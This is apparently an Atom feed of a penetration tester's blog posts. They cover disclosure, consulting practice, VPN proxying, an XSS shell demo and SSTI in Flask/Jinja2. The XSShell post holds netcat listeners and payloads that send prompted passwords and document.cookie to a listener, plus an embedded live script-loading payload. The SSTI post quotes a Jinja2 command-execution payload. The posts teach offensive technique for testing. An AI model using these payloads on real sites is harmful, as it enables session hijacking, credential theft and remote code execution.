&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see, it quickly becomes obvious who the target is using for a mail provider. Any domain other than &lt;code&gt;gmail.com&lt;/code&gt; using Google&#39;s mail servers is a G Suite user.&lt;/p&gt;
&lt;h3&gt;Responsible Disclosure&lt;/h3&gt;
&lt;p&gt;With Matt&#39;s permission, I went ahead and submitted the issue to Google as a security issue, knowing full well that it was a long shot. I mean, technically, the onus is on the user to understand their technology, but Google definitely makes it easier to exploit users through their platform, albeit to attack someone else&#39;s vulnerability. Google&#39;s response?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Status: Won&#39;t Fix (Intended Behavior)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks Google.&lt;/p&gt;
&lt;p&gt;If the bug is ever made public, it will be available &lt;a href=&#34;https://issuetracker.google.com/issues/74233153&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</content>
        <category term="appsec"/>
    </entry>
    <entry>
        <title>Cooling Down the Hottest Ticket in Town</title>
        <id>https://www.lanmaster53.com/blog/2017/08/26/cooling-down-the-hottest-ticket-in-town/</id>
        <link href="https://www.lanmaster53.com/blog/2017/08/26/cooling-down-the-hottest-ticket-in-town/"/>
        <published>2017-08-26T00:00:00Z</published>
        <updated>2017-08-26T00:00:00Z</updated>
        <summary>We had an interesting conversation on the Proverbs Hackers mailing list today about getting tickets for popular conferences that have limited ticket sales.…</summary>
        <content type="html">&lt;p&gt;We had an interesting conversation on the Proverbs Hackers mailing list today about getting tickets for popular conferences that have limited ticket sales. Security conferences most often thought of in this category are DerbyCon and ShmooCon. For anyone that has tried to get tickets to one of these conferences in the traditional fashion, you know the struggle is real. The conversation got me thinking about ways you can acquire a ticket that you may not realize are available. Below is the result of that thought exercise.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;ol&gt;
&lt;li&gt;Automate it. If you do go the traditional route, every second counts. Never more so than with DerbyCon, which has traditionally opened up ticket sales early. There was a lot of dialog on that this year as they sold out before they were actually supposed to go on sale. For conferences like DerbyCon, racing for a ticket upon release is the worst way to try and get a ticket. But if you insist, set up a &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;wget&lt;/code&gt; based heart beat script for the registration page and have it running 30 minutes before the scheduled start. This should give you the best chance of being one of the first to know when sales actually start. My wife and I did this for her Walker Stalker tickets this year and it worked great. Here&#39;s a one-liner to get you started: &lt;code&gt;while :; do ping -c 3 127.0.0.1 2&amp;gt;&amp;amp;1 &amp;gt;/dev/null; curl -s {purchase url} | grep &#34;{text unique to pre-sale condition}&#34; || say &#34;go go go&#34;; done&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Submit to the conference CFP. This has always been my approach. Places like ShmooCon have traditionally provided opportunities to buy tickets for every CFP submission. The system can be &#34;gamed&#34; a bit, but there is also always a chance that your CFP gets accepted, so be prepared to speak if you go this route.&lt;/li&gt;
&lt;li&gt;Buy second hand. This has traditionally been the best way to get a ticket for these conferences. I usually just keep an eye on Twitter. Especially, the day the conference sends CFP acceptance letters. This is the day that the accepted folks off-load the ticket they bought as a back up plan.&lt;/li&gt;
&lt;li&gt;Pay an accepted speaker their honorarium in exchange for the extra ticket they get offered. Many conferences offer an honorarium OR a second free ticket to the conference for accepted CFP submissions. Get in touch with someone whose CFP submission was accepted and offer to pay their honorarium in exchange for a ticket. Then, they can choose the extra ticket over the honorarium as their &#34;gift&#34; and sell it to you on site. This might cost a little more, as honorariums are typically more than the ticket price, but usually not by much.&lt;/li&gt;
&lt;li&gt;Go to training. Most conferences include access to the seminars with a training ticket. This is the most expensive way, but you get the most too.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, perhaps this will open a door for someone that really wants to get a ticket to a conference, but thought they were out of options. If you happen to use one of these techniques and it works, I&#39;d love to hear your success story. Good luck, and happy hunting. It&#39;s officially conference season.&lt;/p&gt;</content>
        <category term="misc"/>
    </entry>
    <entry>
        <title>Handling Missed Vulnerabilities</title>
        <id>https://www.lanmaster53.com/blog/2017/04/05/handling-missed-vulnerabilities/</id>
        <link href="https://www.lanmaster53.com/blog/2017/04/05/handling-missed-vulnerabilities/"/>
        <published>2017-04-05T00:00:00Z</published>
        <updated>2017-04-05T00:00:00Z</updated>
        <summary>(Originally posted at https://nvisium.com/blog/2017/04/05/handling-missed-vulnerabilities/.) Robin &#34;digininja&#34; Wood wrote this interesting article about the…</summary>
        <content type="html">&lt;p&gt;(Originally posted at &lt;a href=&#34;https://nvisium.com/blog/2017/04/05/handling-missed-vulnerabilities/&#34;&gt;https://nvisium.com/blog/2017/04/05/handling-missed-vulnerabilities/&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://twitter.com/digininja&#34;&gt;Robin &#34;digininja&#34; Wood&lt;/a&gt; wrote &lt;a href=&#34;https://digi.ninja/blog/missing_a_vuln.php&#34;&gt;this&lt;/a&gt; interesting article about the impact of missing vulnerabilities during security assessments. He makes a lot of good points, and the reality is, it&#39;s something we all deal with. Robin talks about how missing a vulnerability can be the end of one&#39;s career, or at least a large step backward. While this is true, his article only addresses the impact at a micro level. I&#39;d like to expand on that.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;As the Managing Consultant of a growing Application Security Consulting practice, this issue takes on a much larger form. We are no longer talking about one person&#39;s career. We are talking about an entire organization on whom employees&#39; livelihood rely. Missing a vulnerability at this level can have some major consequences that affect a lot more than the offending consultant.&lt;/p&gt;
&lt;p&gt;But it&#39;s going to happen. It&#39;s not a matter of if, but when. So it&#39;s important to be prepared when something like this does happen. As someone that has put a good bit of thought into this issue due to my position at nVisium, I&#39;ve compiled my thoughts on the issue from prevention to reaction. These thoughts cover various hypothetical examples, attempt to identify the root problem, and discuss solutions to help rectify the situation.&lt;/p&gt;
&lt;h3&gt;Scenarios&lt;/h3&gt;
&lt;p&gt;The most probable scenario that could lead to missed vulnerabilities is retesting an application that the same consultancy has tested previously. Most good consultancies understand that there is value in rotating consultants for portfolio clients, but there is also risk. No two consultants are the same. Strengths, weaknesses, techniques, and tool sets vary, and with that, the results of their respective assessments. While those that employ this technique see this as a benefit to the client, if the consultant that tested most recently finds something that existed for a previous test but was overlooked, the client is more than likely not going to be thrilled about it, especially if it was something simple. The spectrum of response here is large as there is a significant difference between missing something during a black box assessment that gets picked up by an SCA tool vs. missing something via black box assessment that results in a major breach, but none of the possible outcomes are desireable. This is the scenario that most often leads to the uncomfortable discussion of the client attempting to govern which consultant is allowed to work on their assessments moving forward. I&#39;ve heard stories of this going as far as direct threats to end all future work unless the consultant was terminated from employment. I can&#39;t imagine this is a comfortable position to be in.&lt;/p&gt;
&lt;p&gt;While not the most common, the most damaging scenario is when the security assessment is the first step in the implementation of a bug bounty program. If you think it is bad having one of your own consultants find something that another one of your consultants missed, imagine a client having to pay a bug bounty for a vanilla vulnerability that one of your consultants missed. These are resume generating events.&lt;/p&gt;
&lt;h3&gt;Framing the Problem&lt;/h3&gt;
&lt;p&gt;There are four main reasons for encountering these scenarios and others like them: time, effort, aptitude, and methodology. The TEAM acronym was a complete accident, but works out pretty darn perfectly.&lt;/p&gt;
&lt;h4&gt;Time&lt;/h4&gt;
&lt;p&gt;Time is the thing that most restricts security assessments, and is the biggest difference between testers and the threats they attempt to replicate. In most cases, testers don&#39;t have the same amount of time as the threat, so time becomes a variable that is considered with varying levels of information in an attempt to most accurately represent the threat in a reduced period of time. Let&#39;s face it. No one wants to pay enough to truly replicate the threat.&lt;/p&gt;
&lt;p&gt;All of these variables come into play during a process called scoping. Scoping is an extremely important part of the assessment planning process, as it is a key component to providing consultants with enough time to complete an engagement. If a conslultant is given too little time, then corners are cut, full coverage is not achieved, and we&#39;ve introduced an opportunity for inconsistency.&lt;/p&gt;
&lt;p&gt;There are a lot of things to consider when scoping.&lt;/p&gt;
&lt;p&gt;Higher level assets (senior consultants, etc.) are faster than lower level assets (junior consultants, etc.). Low level assets will have to conduct more research on tested components, tools, etc. in order to sufficiently do the job. In fact, so much of what testers do at every level is largely on-the-job self-training. I don&#39;t know about you, but I hire based on a candidate&#39;s capacity to learn over what they already know. However, there is always a learning curve that must be considered when scoping an engagement in order to ensure full coverage.&lt;/p&gt;
&lt;p&gt;Threat replication is a different kind of test than bug hunting. Depending on what kind of consulting the tester specializes in, they&#39;re either threat focused, or vulnerablity focused. To be vulnerablity focused is to focus on finding every possible vulnerability in a target. To be threat focused is to focus on replicating a very specific threat and only try to find what is needed to accomplish the determined goal of the replicated threat. The focus obviously has a huge impact on the amount of time required to complete the engagement, and the accuracy at which one can scope the engagement. When focusing on bugs, there are static metrics that can be analyzed to determine the size of the target: lines of code, dynamic pages, APIs, etc. Threat focused testing is much more subjective, as until you encounter something that gets you to the next level, you don&#39;t know how long it&#39;s going to take to get there.&lt;/p&gt;
&lt;p&gt;Budget is often the most important factor in scoping, even though in many cases it is an unknown to the person doing the scoping. Quite often, a client&#39;s eyes are bigger than their wallet, and once they get a quote, they begin discussing ways to reduce the price of the engagement. While this is perfectly fine, and most of us would do it if we were in their shoes as well, consultancies have to be very careful not to obligate themselves to a full coverage assessment in a time frame that is unrealistic.&lt;/p&gt;
&lt;p&gt;When cost isn&#39;t the determining factor that leads to over-obligation, it&#39;s client deadlines. You want to help your client, but they need it done by next week and it&#39;s easily a three week engagement. Be careful of this pitfall. There are solutions to helping the client without introducing opportunities for inconsistency. Keep reading.&lt;/p&gt;
&lt;p&gt;The bottom line is, the consultant performing the engagement must have enough time to complete it in accordance with the terms of the contract. If the contract says &#34;best effort&#34;, then pretty much any level of completion meets the standard. Otherwise, the expectation is full coverage for the identified components. Without enough time, you can be sure some other consultant, internal or extenal, is going to eventually follow up with a full coverage assessment that find something the previous consultant missed.&lt;/p&gt;
&lt;p&gt;Addressing the &#34;time&#34; problem begins with refining the scoping process. This requires good feedback from consultants and tracking. Consultancies need to know when something is underscoped, overscoped, and why, and the only way to do this is to gather metrics about the timing of engagements from raw data sources, and from the consultants doing the work. When client budget is affecting the scope, consider recommending a &#34;best effort&#34; engagement, or an assessment that focuses on the specific components that are most important to the client. If a client has a hard deadline, consider leveraging more resources over a shorter period of time in order to meet their goal. There are always options, but the bottom line is to prevent the possibility of inconsistencies by making sure consultants have adequate time to meet contract requirments.&lt;/p&gt;
&lt;h4&gt;Effort&lt;/h4&gt;
&lt;p&gt;Effort is a personal responsibility. If a consultant doesn&#39;t put in the expected quantity of work to complete the job as scoped, but bills for the same, then not only will this introduce the opportunity for inconsistency, but the consultant is essentially stealing from the client on behalf of the consultancy. This is a serious offense with no easy solution. So much of what indicates a person&#39;s sustained level of effort comes from maturity and work ethic. Identifying these is something consultancies should do during the candidacy stage of the employment process.&lt;/p&gt;
&lt;p&gt;Another aspect of effort is how consultants approach deliverables. It&#39;s no secret. Most consultants don&#39;t enjoy writing deliverables. Regardless, deliverables are the one thing left with the client when the consultant finishes an engagement. It provides the lasting impression that the client will have of the consultant, and more importantly, the consultancy. However, every so often consultants take shortcuts to reduce the time it takes to create a deliverable. This always leads to lower quality product and opportunities for inconsistency. Consultants must assume that the next consultant to see this target is going to put the requisite effort into the deliverable. The bottom line is, report everything. Whether the consultant uses paragraphs, bullets, or tables, if they discovered 30 instances of XSS, they need to report all 30 of them in the deliverable. They shouldn&#39;t just say, &#34;We determined this to be systemic, so fix everywhere.&#34; This is poor quality consulting. It&#39;s ok to say things are systemic and that there may be other instances not found for one reason or another, but if the consultant found 30 instances, they need to pass that information to the client. They paid for it. Another common deliverable shortcut is grouping vulnerabilities by type without proper delineation. User Enumeration in a login page is very different from User Enumeration in a registration page, and recommendations for how to remediate these issues are completely different. If a consultant lumps all instances of User Enumeration into one issue and doesn&#39;t clearly delineate between the specific issues, then the consultant isn&#39;t putting in the required level of effort to prevent inconsistencies with future engagements.&lt;/p&gt;
&lt;p&gt;Effort isn&#39;t an issue that can be addressed through administrative or technical controls. Effort comes from who someone is, their work ethic, and their level of passion toward the task at hand. Unfortunately, passion and work ethic isn&#39;t something that can be taught at this point in life, and if this is the issue, then the only option may be parting ways. This is why it is important to have a good vetting process for employment candidates to ensure that candidates exhibit the qualities indicative of someone who will provide the level of effort desired.&lt;/p&gt;
&lt;h4&gt;Aptitude&lt;/h4&gt;
&lt;p&gt;A lack of aptitude is often mistaken for a lack of effort. The reality is that some people are just more gifted than others, and all consultants can&#39;t be held to the same standard. While certainly not always the case, skill level is quite often related to the quantity of experience in the field. It&#39;s why we have Junior, Mid-level, Senior, and Principal level consultants. As mentioned previously, a Junior consultant cannot be expected to accomplish as much as a Senior consultant in the same amount of time. The Junior will require more time to research the target components, tools, techniques, etc. required to successfully complete the engagement. While this is a scoping consideration, it&#39;s also a staffing consideration. There is a higher margin on low level consultants. They cost less per hour, so they are more profitable on an hourly basis when the rate charged to the client is the same as a consultant senior to them. A stable of capable Junior consultants can be quite profitable, but can also introduce inconsistency.&lt;/p&gt;
&lt;p&gt;Depending on the consultancy&#39;s strategic vision, there are a couple of approaches to solving the issue of aptitude. Many consultancies will try to avoid the issue all together by employing nothing but Senior level consultants or above. This is typical in small organizations with a high operational tempo and not enough resources to develop Junior consultants. These consultancies are basically throwing money at the problem. Their margin will be much lower, but they&#39;ll be able to maintain a higher operational tempo and incur less risk to testing inconsistencies related to skill. Another approach is a program to develop Junior consultants in an effort to increase margin and reduce the risk to testing inconsistencies over time. A great way to approach Junior consultant development is by pairing them up with consultants senior to them on every engagement. That way, they&#39;ll have constant leadership and someone they can lean on for mentorship on a constant basis. This allows the consultancy to get through engagements in a shorter time span due to having multiple assets assigned, but the scope of the project should consider the learning curve of the Junior consultant. In many cases, the increased speed of the senior asset will counter the slower speed of the junior asset, reducing the impact on the scoping process.&lt;/p&gt;
&lt;p&gt;Regardless of the approach, consultancies should empower their consultants to cross train and knowledge share on a constant basis. Something we&#39;ve done at nVisium is to conduct bi-monthly lunch-and-learns. These are informal presentations of something related to the field from one consultant to the rest of the team. This serves two purposes. For senior consultants, it is an opportunity to share something new or unknown to junior level consultants. For junior consultants, it is an opportunity to professionally develop on a consistent basis, as each consultant rotates through. An added benefit for juniors is that there are few things that motivate someone to become a subject matter expert on a topic more than committing to presenting on that topic to a group of their peers. It is surprisingly affective, and the reason I write articles and present at conferences to this day.&lt;/p&gt;
&lt;p&gt;Another thing we do at nVisium is cultivate a highly collaborative environment via tools like Slack. So much so, that rarely does it feel like consultants are working on engagements alone. It is quite common to see code snippets and theory being tossed around and more than a handful of people sharing ideas about something encountered on an app only one of them is assigned to. This hive mind approach is not only highly affective in finding the best way forward for specific issues, but provides a great opportunity for Junior consultants to ask questions, receive clarification, and learn from their peers. It also attacks consistency at it&#39;s core as these events usually result in a public determination of where the organization stands on the issue and becomes an established standard moving forward. Everyone is involved, so everyone is aware.&lt;/p&gt;
&lt;h4&gt;Methodology&lt;/h4&gt;
&lt;p&gt;This is where I see consultants at all levels mess up more than anywhere else. Everyone thinks they&#39;re too good for methodology until someone else finds something new while following the methodology on the same application. The testing methodologies we use in Information Security today are proven. They work by laying the framework to maximize the time given to accomplish the task while providing a baseline level of analysis. I&#39;ve seen consultants blow off methodology and one of two things happens: they spend all their time chasing phantom vulnerabilities (also known as &#34;rabbit holes&#34; and &#34;red herrings&#34;) and fail to make full coverage, or think they have full coverage only to realize they missed multiple vanilla vulnerabilites when someone else tested the same target at a later time. In either case, an opportunity for inconsistency is introduced because it&#39;s is not a matter of if someone will follow with proper methodology, it&#39;s a matter of when.&lt;/p&gt;
&lt;p&gt;Addressing this is about finding a balance between controlling the assessment process and allowing testers to exercise creative freedom. I am a firm believer in not forcing consultants to test in a confined environment by requiring them to use a checklist. Many of today&#39;s most critical vulnerabilities exist in business logic. Discovering vulnerabilities in how the application enforces logical controls to business processes requires a creative approach. Forcing consultants to use a checklist robs them of their creativity, reducing the likelihood of them actually testing outside of the items on the checklist. Since logic vulnerabilities are specific to the business process, they can&#39;t be checklist items. So while checklist testing is a good way to ensure a higher level of consistency, it leads to a consistent product lacking quality and completeness.&lt;/p&gt;
&lt;p&gt;At nVisium we&#39;ve developed what we call a &#34;testing guide.&#34; What makes our guide different from a checklist is that the guide is merely a series of questions about the application. How testers answer the questions is up to them. They can use their own techniques and their own tool set. The idea is that through answering each of the questions within the guide, the tester will have exercised the application in its entirety and maximized the likelihood of identiying all vulnerabilities. Including business logic flaws. This guide is not a deliverable, and it&#39;s not something that supervisors check for. It&#39;s a tool at the disposal of the consultant, and each consultant knows that the others are using it, so the system is self-policing.&lt;/p&gt;
&lt;h3&gt;The Inevitable&lt;/h3&gt;
&lt;p&gt;Even with all of this in place, someone is going to miss something. And when they do, the organization must conduct damage control. Damage control measures are largely going determined by how the client reacts to the issue. It is purely reactionary at this point by all parties. However, thinking through possible scenarios as a staff and &#34;wargaming&#34; these situations will better prepare the team for the inevitable.&lt;/p&gt;
&lt;p&gt;I&#39;m a firm believe in owning your mistakes. I have way more respect for people that make mistakes and own them, than I do for folks that claim they never make any mistakes. Do you know what you call someone that never seems to be at fault for anything because they don&#39;t make mistakes? Dishonest. These individuals and the organizations they represent are immediately tagged as untrustworthy. We&#39;re in an industry where trust is the cornerstone of everything we do. Our clients entrust us with their intellectual property; the heart and soul of their businesses. Their livelihood. If we can&#39;t be trusted, we won&#39;t stay in business very long. Organizations and individuals alike must own their mistakes.&lt;/p&gt;
&lt;p&gt;After owning the mistake, the organization needs to make it right. Once again, this depends on what the issue is, but remember that the issue is not in a vacuum. So someone missed a small issue during a small assessment for a small client. One might feel inclined to let it go. Don&#39;t forget that our industry is small, and word travels fast. There&#39;s far too much risk in not doing the right thing here folks.&lt;/p&gt;
&lt;p&gt;The organization must accept the fact that sometimes making it right won&#39;t be enough. Clients pay consultancies a lot of money and expect a quality product. If the consultancy fails to deliver, the client has every right to find someone else that will, and the consultancy shouldn&#39;t be surprised if they do. In a perfect world, clients would understand our line of work and the difficulty in ensuring 100% consistency, but you don&#39;t need me to tell you this isn&#39;t a perfect world.&lt;/p&gt;
&lt;h3&gt;Wrapping Up&lt;/h3&gt;
&lt;p&gt;So it&#39;s going to happen, and someone is going to be dealing with the fallout. Chances are it won&#39;t be comfortable, but if the organization has implemented controls to reduce the frequency, and prepared themselves for occassions where the controls fail, they&#39;ll be equipped and prepared to limit the damage and ultimately live to test another day.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="netsec"/>
        <category term="career"/>
    </entry>
    <entry>
        <title>Proxying thru Virtual Client VPNs</title>
        <id>https://www.lanmaster53.com/blog/2016/12/01/proxying-thru-virtual-client-vpns/</id>
        <link href="https://www.lanmaster53.com/blog/2016/12/01/proxying-thru-virtual-client-vpns/"/>
        <published>2016-12-01T00:00:00Z</published>
        <updated>2016-12-01T00:00:00Z</updated>
        <summary>So, I&#39;m sorta OCD. Anyone that knows me will attest to that. When it comes to my computing environments, I can&#39;t stand clutter. That includes both the external…</summary>
        <content type="html">&lt;p&gt;So, I&#39;m sorta OCD. Anyone that knows me will attest to that. When it comes to my computing environments, I can&#39;t stand clutter. That includes both the external and internal components of my computing environment. One particular point of interest for me is the number of applications installed on my system. I&#39;ve always felt like limiting the amount of software on my system to only what I needed, and avoiding endless install and uninstall cycles, has resulted in a more stable system. I have no scientific proof to back this up, but it&#39;s always worked for me, so I like to keep my system clean and tidy. However, in my line of work, where one-off tools for testing and research abound, this is a daily challenge.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;One particular annoyance in my quest to keep a clean and tidy system is VPN. This is because when it comes to remote access into client environments, in the words of Roseanne Rosannadanna, &#34;It&#39;s always something.&#34; For example, the VPN client software doesn&#39;t work on OS X. The VPN requires host checking that isn&#39;t compatible with OS X. Every client uses a different VPN solution and software client, resulting in a dozen VPN clients residing on the same system and conflicting with one another. The end result is a delayed engagement and a mess of installed software.&lt;/p&gt;
&lt;p&gt;The way I address this issue is by using VMs to create compatible environments where I install everything that is needed for remote access. Easy enough, right? But now we&#39;re faced with the problem of having our favorite tools, some of which may be commercial or incompatible with the VM OS, configured and licensed on our host machine. It&#39;s one thing to tunnel a VM through a VPN on the host. That&#39;s a simple as configuring the VM interface in NAT, or shared mode. Tunneling a host through a VPN on the VM is another challenge altogether, and not as easily solved. Here&#39;s a step-by-step for how I approach the problem. Perhaps you&#39;ll find it useful in your daily struggles against VPN software clutter.&lt;/p&gt;
&lt;h3&gt;Update&lt;/h3&gt;
&lt;h5&gt;Tuesday, March 28, 2017&lt;/h5&gt;
&lt;p&gt;A co-worker and I were struggling through configuring Privoxy on a recent test when it hit me, &#34;Why not use Burp Suite Free as the proxy on the VM?&#34; So I started looking through the Burp Suite Free configuration and discovered some settings that allowed me to replace Privoxy with Burp Suite Free on the VM. There are several advantages to using Burp Suite Free over Privoxy. First, Burp Suite Free is a tool that we are familiar with. Second, Burp Suite Free is easier to install and configure than Privoxy. Finally, Burp Suite Free performs much better than Privoxy. There was a noticeable speed increase when I switched from Privoxy to Burp Suite Free. All this being said, below is a revised guide using Burp Suite Free as the proxy instead of Privoxy.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Configure a VM with the required VPN client software and configuration, and validate that it works.&lt;/li&gt;
&lt;li&gt;Shut down the VM and add a second network adapter to the VM.&lt;/li&gt;
&lt;li&gt;Configure network adapter 1 (original) as bridged mode.&lt;/li&gt;
&lt;li&gt;Configure network adapter 2 (new) as host-only mode.&lt;/li&gt;
&lt;li&gt;Start the VM and install Burp Suite Free. I prefer the installer to the stand-alone jar file, as it seems to be more stable and doesn&#39;t require a separate Java install.&lt;/li&gt;
&lt;li&gt;Configure the VM&#39;s Burp proxy to listen on all interfaces.&lt;/li&gt;
&lt;li&gt;Configure the VM&#39;s Burp Proxy to pass through SSL. This is fine, as we&#39;re not doing anything here but forwarding the Host OS&#39;s traffic to the VPN. We don&#39;t want this instance of Burp terminating TLS.&lt;/li&gt;
&lt;li&gt;Configure the VM&#39;s Burp Proxy to not record any traffic. We definitely don&#39;t need to waste resources by storing traffic we&#39;ll never use.&lt;/li&gt;
&lt;li&gt;Note the IP address of the host-only interface on the VM.&lt;/li&gt;
&lt;li&gt;Connect to the VPN on the VM.&lt;/li&gt;
&lt;li&gt;Configure Burp on the host with the host-only interface as an upstream proxy (IP address from step 9 and port from step 6).&lt;/li&gt;
&lt;li&gt;Profit. Man I hate it when people say this.&lt;/li&gt;
&lt;/ol&gt;</content>
        <category term="appsec"/>
        <category term="netsec"/>
    </entry>
    <entry>
        <title>Fun with XSShell</title>
        <id>https://www.lanmaster53.com/blog/2016/07/15/fun-with-xsshell/</id>
        <link href="https://www.lanmaster53.com/blog/2016/07/15/fun-with-xsshell/"/>
        <published>2016-07-15T00:00:00Z</published>
        <updated>2016-07-15T00:00:00Z</updated>
        <summary>So this is kinda fun. With this page open, copy and paste one of the listener commands from below into a terminal window on your local machine. Then, paste…</summary>
        <content type="html">&lt;p&gt;So this is kinda fun. With this page open, copy and paste one of the listener commands from below into a terminal window on your local machine. Then, paste &lt;code&gt;alert(42)&lt;/code&gt; into the resulting shell and press &#34;Enter&#34;. Once you recover from the initial shock of what you just witnessed, play with the following payloads and spend the next hour of life thoroughly enjoying yourself.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;h3&gt;Listeners&lt;/h3&gt;
&lt;h4&gt;Linux&lt;/h4&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;while :; do printf &#34;j$ &#34;; read c; printf &#34;HTTP/1.1 200 OK\n\n$c&#34; | nc -lp 8000 &amp;gt;/dev/null; done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;OS X&lt;/h4&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;while :; do printf &#34;j$ &#34;; read c; printf &#34;HTTP/1.1 200 OK\n\n$c&#34; | nc -l 8000 &amp;gt;/dev/null; done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Example Payloads&lt;/h3&gt;
&lt;h4&gt;Redirection&lt;/h4&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;window.location = &#39;https://www.practisec.com/training/&#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;Phishing&lt;/h4&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;i=new Image();i.src=&#34;http://127.0.0.1:8888/pw/&#34;+prompt(&#34;Password:&#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Requires a second listener, e.g. &lt;code&gt;python -m &#34;SimpleHTTPServer&#34; 8888&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Session Hijacking&lt;/h4&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;i=new Image();i.src=&#34;http://127.0.0.1:8888/pw/&#34;+document.cookie
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Requires a second listener, e.g. &lt;code&gt;python -m &#34;SimpleHTTPServer&#34; 8888&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Defacement&lt;/h4&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;d=document;e=d.createElement(&#34;p&#34;);e.innerHTML=&#34;lanmaster53 wuz here!&#34;;d.body.appendChild(e)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This is all based on the code shared in the following tweets.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet tw-align-center&#34; data-conversation=&#34;none&#34; lang=&#34;en&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;XSShell - Target&lt;br&gt;&lt;br&gt;&amp;lt;svg/onload=setInterval(function(){d=document;z=d.createElement(&amp;quot;script&amp;quot;);z.src=&amp;quot;//HOST:PORT&amp;quot;;d.body.appendChild(z)},0)&amp;gt;&lt;/p&gt;&amp;mdash; Brute (@brutelogic) &lt;a href=&#34;https://twitter.com/brutelogic/status/639069519097503744&#34;&gt;September 2, 2015&lt;/a&gt;&lt;/blockquote&gt;
&lt;blockquote class=&#34;twitter-tweet tw-align-center&#34; data-conversation=&#34;none&#34; lang=&#34;en&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;XSShell - Attacker&lt;br&gt;&lt;br&gt;$ while :; do printf &amp;quot;j$ &amp;quot;; read c; echo &lt;a href=&#34;https://twitter.com/search?q=%24c&amp;amp;src=ctag&#34;&gt;$c&lt;/a&gt; | nc -lp PORT &amp;gt;/dev/null; done&lt;/p&gt;&amp;mdash; Brute (@brutelogic) &lt;a href=&#34;https://twitter.com/brutelogic/status/639073880922030080&#34;&gt;September 2, 2015&lt;/a&gt;&lt;/blockquote&gt;

&lt;!-- attack payload --&gt;
&lt;p&gt;&lt;svg/onload=setInterval(function(){d=document;try{d.getElementById(&#34;x&#34;).remove()}catch(e){};z=d.createElement(&#34;script&#34;);z.id=&#34;x&#34;;z.src=&#34;http://127.0.0.1:8000&#34;;d.body.appendChild(z)},3000)&gt;&lt;/p&gt;
&lt;p&gt;Check the source code here ^^^ for the active payload.&lt;/p&gt;</content>
        <category term="appsec"/>
    </entry>
    <entry>
        <title>Exploring SSTI in Flask/Jinja2 - Part 2</title>
        <id>https://www.lanmaster53.com/blog/2016/03/11/exploring-ssti-flask-jinja2-part-2/</id>
        <link href="https://www.lanmaster53.com/blog/2016/03/11/exploring-ssti-flask-jinja2-part-2/"/>
        <published>2016-03-11T00:00:00Z</published>
        <updated>2016-03-11T00:00:00Z</updated>
        <summary>I recently wrote this article about exploring the true impact of Server-Side Template Injection (SSTI) in applications leveraging the Flask/Jinja2 development…</summary>
        <content type="html">&lt;p&gt;I recently wrote &lt;a href=&#34;/blog/2016/03/09/exploring-ssti-flask-jinja2/&#34;&gt;this article&lt;/a&gt; about exploring the true impact of Server-Side Template Injection (SSTI) in applications leveraging the Flask/Jinja2 development stack. My initial goal was to find a path to file or operating system access. I was previously unable to do so, but thanks to some feedback on the initial article, I have since been able to achieve that goal. This article is the result of the additional research.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;h3&gt;The Nudge&lt;/h3&gt;
&lt;p&gt;In response to the initial article, &lt;a href=&#34;https://twitter.com/_qll_&#34;&gt;Nicolas G&lt;/a&gt; published the following tweet.&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet tw-align-center&#34; data-conversation=&#34;none&#34; lang=&#34;en&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;&lt;a href=&#34;https://twitter.com/LaNMaSteR53&#34;&gt;@LaNMaSteR53&lt;/a&gt; &lt;a href=&#34;https://twitter.com/albinowax&#34;&gt;@albinowax&lt;/a&gt; &lt;a href=&#34;https://twitter.com/garethheyes&#34;&gt;@garethheyes&lt;/a&gt; {{&amp;#39;&amp;#39;.__class__.mro()[1].__subclasses__()[46](&amp;#39;touch /tmp/rce&amp;#39;,shell=True)}} (may be version-dependent)&lt;/p&gt;&amp;mdash; Nicolas G (@_qll_) &lt;a href=&#34;https://twitter.com/_qll_/status/707714873774448640&#34;&gt;March 9, 2016&lt;/a&gt;&lt;/blockquote&gt;

